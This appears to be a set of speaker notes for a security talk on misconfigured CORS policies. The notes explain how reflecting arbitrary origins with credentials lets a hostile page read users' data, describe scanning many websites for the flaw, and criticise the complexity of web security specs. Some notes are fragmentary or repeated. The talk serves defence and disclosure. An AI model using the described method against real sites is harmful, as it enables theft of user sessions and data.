  1. Welcome to my talk. My talk is called misconfigured cors. Why being secure isn’t getting easier. For this talk we will be thinking about the internet as a whole, based off of a specific vulnerability I found. I am going to look at a really nasty vulnerability I found in a lot of websites, with the point of looking at the internet as a whole. There’s some tech talk in here about how I looked for the vuln at a pretty large scale, too, which is pretty cool.
  2. Cloudflare. I work on product security at cloudflare. Cloudflare is a giant network CDN that proxies a huge percentage of all web traffic. We pretty much operate only on port 443 and port 80, as a web company.
  3. I’ll start out this talk with a question. “How would you secure the internet”. This is a lofty and idealistic goal. The internet will never be “secure”. There are core limitations baked in to the very fabric of the net. BGP hijacking. DNS. Even in TLS there are many security risks and each CA that is baked in to your trust store, or a signed intermediate, has the ability to man in the middle the encrypted encrypted channels of everyone. This is something we talk about at work regularly. Not, “how can we make the internet as bullet proof as Luke Cage”, but how can we have an impact for a lot of web properties. When you are thinking about the internet as a whole, don’t get stuck thinking about your own little bubble. Everyone using the internet, for the most part, stays within their little bubble. NYTimes, Hacker News, Google, Amazon. Everyone’s bubble is different and there are massively popular sites that you have never heard of. Go take a look at the alexa 1m, start at like site number 200,000, read like 1000 of the sites on there and I guarantee you probably will not have heard of more than 3 of them. I think it’s really utilitarian to say “if we can raise the average security of a million websites 5% (whatever 5% means), the impact would be pretty large. A lot of the popular small sites are sites with 0 security budget. Maybe they don’t even have software developer budget, or they have a contract developer they know who they hire a few hours a week. It’s easy to think small, about individual websites. It’s harder to think bigger. About the entire web. This talk is about details, micro-scale, but the point of the talk is macro-scale. So. Let’s start with this:
  4. Ideally, this is what we could compare the security someone’s website to. Companies that are growing, making money, and committed to the web might build something like this. This might be a Google, Amazon, Apple, Etc. Castles are mature. They are built on a solid foundation. The details of the castle might not be as pretty on the inside, and there might be a lot of hacks or problems that they solved to build it, but for the most part they are very solid Ideally, all websites are castles, but that isn’t always easy for people. Devs make mistakes. People install wordpress plugins. Eventually, a lot of websites end up looking more like this….
  5. This: is your average site in the alexa 1 million, and not only from a security perspective. Also from a usability perspective and more. We care mostly about application security, but from a usability perspective, from a loading speed perspective, the image of a bounce house is what a lot of companies look like. I’m not sure if you’ve read the blog post by Maciej C, the guy who runs pinboard, called “The web obesity crisis”. Let’s stick to just talking about security though. You have a few companies with huge security budgets. Companies like Google, Facebook, Microsoft who were the pioneers of the bug bounty thing. Started this “hall of fame” thing years ago. They had such large security budgets they were paying people they didn’t even know for security work! Besides that, you pretty much have bounce houses surrounding these castles, like an old medieval city. These inflatable castles are sites that do not have dedicated security teams. They are mom-and-pop sites, bloggers with their own wordpress dedicated server on dreamhost, installing plugins and doing all sorts of garbage just trying to make things work. It is not easy for these people to be secure. Lets talk tech now. This “how do you improve the security of the web” question is the question I want you to keep in the back of your mind as I talk about this problem. Alright next, let’s talk about the lynchpin of all web security.
  6. Same-Origin policy is the foundation that all web security is built on. I think most people should be familiar with this idea, but the idea is that scripts from one website cannot access data of a different origin. I’m sure most web people are familiar with this already. It dictates that example1.com here, requesting example2.com will be blocked by default. It’s fundamental. If this wasn’t the case, you would sign on to your online banking, go to a website, and they would have ajax that fetched all your banking information with your browser. Cross origin resource sharing is a way for a website to share things with other websites. This is normally blocked. Here is an example of CORS. You have example1.com making a request to example2.com with ajax. We don’t really have to talk about what is being requested. We just know that by default, this is blocked.
  7. Here is an example of cross origin resource sharing. Same Origin policy might not be wanted in all situations. Sometimes there is a reason for for the two sites to communicate cross origin. Here is an example of CORS with a pretty normal configuration that a lot of CDNs have. Javascript from example.com is consuming the example-api.com API over AJAX. You see example-api has the Access-Control-Allow-Origin * header. This means any website can consume it! This header has a lot of baggage to learn about it. But we have a very small set of things we care about, for purposes of this talk. For the purpose of this talk, you don’t need to know a ton about CORS. I’m going to give you a quick 2 slide run down of CORS. I’m going to show you two different HTTP requests, and talk about the difference between the CORS policies.
  8. This means no cookies can be sent! This is fundamentally different than
  9. If you want to allow cookies to be sent cross origin, you there ‘*’ means no cookies can never be sent to the along with the cross origin request.
  10. Here’s a real HTTP request that has a CORS turned on. This allows a website to fetch this javascript page dynamically, and not have to hard code a script source tag. This is really common for javascript CDNs.
  11. Here is another CORS example. This is fastly.com, one of cloudflare’s competitors actually. Here you see a different CORS response. Instead of * there is a hostname here. If you notice which hostname, it’s the one from the Origin header we sent.
  12. If you want to allow cookies to be sent cross origin, you there ‘*’ means no cookies can never be sent to the along with the cross origin request.
  13. How big of a problem is this? To put it in english….
  14. Here is an example of why CORS reflecting all origins with access control allow credentials true could be exploited. A user would go to evil.com, and evil would request something from your bank. This slide is bad because your bank is returning lat long information and not bank data, but it should be returning bank data.
  15. Okay. so it’s really easy to do with curl. This is good for testing a single individual site.
  16. Here’s a proof of concept. It was fixed last night at like 11pm, and I didn’t create a new one…. This is a real HTTP request that I sent a couple weeks ago.
  17. Streamable is vulnerable. Here’s an example of how simple it is to exploit this. We are thinking about the internet at a wide scale. Not one site.
  18. This problem is “YOOGE” around the net.
  19. This problem is really big. There are some really weird edge cases to search for here, but I kept it really simple.
  20. This is a lot of sites. It is important to remember, though, that not all of these sites are “problematic”. There is no problem for sites that are serving static content. Only sites that are taking user data. Doing per user things. Setting per user cookies. This brings up a new problem to solve for me. The disclosue problem. To scan for this, I wrote go code.
  21. This will be open source soon. Github.com/ejcx/hw. Im working on some legal issues we had with some really big companies
  22. This is the basic go routine. This is opening a bunch of files and reading lines from them, and finally passing them to a channel.
  23. This is the code to create n worker “threads”. It’s really neat. I create a lot of workers that all read from the channel s, that contains site names, and scans them
  24. What do you do when you find over 1000 vulnerable websites? How do you triage this? Report it on hackerone? Bugcrowd and hackerone do not have anything close to the type of industry penetration that I can actually reliably look companies up on this. Some of the companies are really big. Really hard to get in contact with the proper channels Some companies are startups. I look for these and get pretty instant responses back (from CEOs awake at 3am looking at their emails.). This isn’t something I can get a CVE for. It is very general and up to individuals who are misunderstanding CORS, not someone rolling out a vulnerable software version. There is no patch for this. What did I do?
  25. So. After finding >1000+ websites with this undesirable behavior I decided that… “Devs do not make repeated mistakes like this”. SAILSJS fixed it immediately. RackCORS is a DEAD PROJECT. DO NOT USE IT. None of the problems were as funny to me as this.
  26. This is an answer on stackoverflow that introduces this vulnerability Im talking about today. We have a top answer on stackoverflow that is just plain old awful. This in the picture only has 106 upvotes, but today is has over 130. But… there is something nice
  27. This is one of the comments on that stackoverflow answer. They PERFECTLY explain the risk that the answer provides. It is very ugly but this person, Jules, does it perfectly in just a few sentences. Jules is a god damn hero.
  28. So…. What is this all about? What is the point of me finding this problem? What was the problem, anyways, can I actually blame the people writing the libraries that? Who is the real person that we can throw under the bus? What is the root cause of this? So. The real person to throw under the bus is……..
  29. Complexity. Complexity is the real issue here. Complexity is the root of all security evil. Complexity makes things hard which means things are
  30. CORS is so complex, it is one RFC with 3 HTTP Request Headers 6 HTTP Response Headers. This is ALL TO ALLOW A SITE LIKE www.yoursite.com to communicate with api.yousite.com It’s really just sad. 6 Response headers, all with their own rules and more.
  31. Most people who implemented the libraries did not realize that * was a real CORS policy.
  32. Regarding complexity. CORS is not alone. Theres are some of the “exciting and hot words” on the menu in 2016. CSP, content security policy. SRI, sub resource integrity. HPKP, http public key pinning. Credential management which provides js APIs for websites to access the password store in a user’s browser, and HSTS. HSTS is very surprising to be up here…. They all have a lot of baggage This is a lot of complexity to learn.
  33. CSP is very complicated. It is one of my bones to pick. It is super popular as a “hot” thingg to add to your website if you are an appsec person. It isn’t just one header it is X-WebKit-CSP Content-Security-Policy X-Content-Security-Policy This is a lot of headers. It used to be a pretty simple Idea but it is slowly growing out of control. The idea of Content Security Policy is to provide an HTTP response header that restricts what resources the page can load. It’s a great header because, at a big company, it really forces the marketing and front end team to engage with the security team more often, once a CSP header exists. But besides that. Lots of things are being thrown on top of CSP.
  34. CSP is so complicated that Mike West actually produced a spec where content security policy is a compile time target for CSP rules. You write something, that compiles to CSP .CSP is so god damn complicated. If you’re unfamiliar with who mike west is, he is a “CSP author”. He works on CSP and decides the future of it
  35. SRI stands for sub resource integrity.
  36. HTTP Public Key pinning is an amazing header. HPKP means that clients who receive a valid HPKP header can ONLY talk to the HTTPS site that produces the public key signatures found in the HPKP header. This leads to a lot of operational issues.
  37. HTTP Public Key pinning is an amazing header. HPKP means that clients who receive a valid HPKP header can ONLY talk to the HTTPS site that produces the public key signatures found in the HPKP header. This leads to a lot of operational issues.
  38. This is a new RFC and webappsec spec. Brand new. It is a way for websites to request passwords and log you in from the password manager that chrome has. In my opinion, it is something chrome is going to double down on and try to put lastpass and other similar password managers out of business.
  39. HSTS doesn’t get enough credit as a tough security header. It is one of the most common security headers, and it causes an unbelievable amount of operational issues. It is very tough. People think of HSTS as kind of a necessity these days. But it’s actually not that easy. Google chrome expects you to have “include subdomains” set to true, so all subdomains are also supporting HTTPS. This is not usually the case This is a picture of uber having to get themselves removed from the HSTS preload list. Tough stuff. They added include subdomains, broke their site, and had to get themselves removed. That’s very sad.
  40. Usable security. Web Application Security RFCs are not for web application security experts, they should be for average developers. WebAppSec specs are consumed by the web. They are immediately consumed by weirdo’s like me, but they are eventually consumed by regular, non security, developers. They should be written with them in mind. This is what I want and this will have a big impact in helping people not make mistakes and allow session stealing on their website. There is nobody making sure that the people making webappsec specs, The people making CSP, HSTS, HPKP, are making something that can actually be consumed by the outside world. Their work is consumed by millions of dev, and their work is a contract that some new feature will exist in the years to come in browsers, so they need more eyes.
  41. Who remembers OpenSSL? Does anyone use OpenSSL? I don’t think they do… I’m only kidding
  42. TLS was plagued with numerous problems over the years. Numerous really neat vulnerabilities. Some were only possible to find using formal methodologies, and some were more obviou, like heartbleed. I really like what tls1.3 authors did recently. Im not a tls expert by any means, fair warning. The TLS people limited decisions of people who would be using it. There are only a few supported ciphersuites. This is a huge win. Don’t give people the opportunity to be insecure, because they will take it.
  43. Welcome to my talk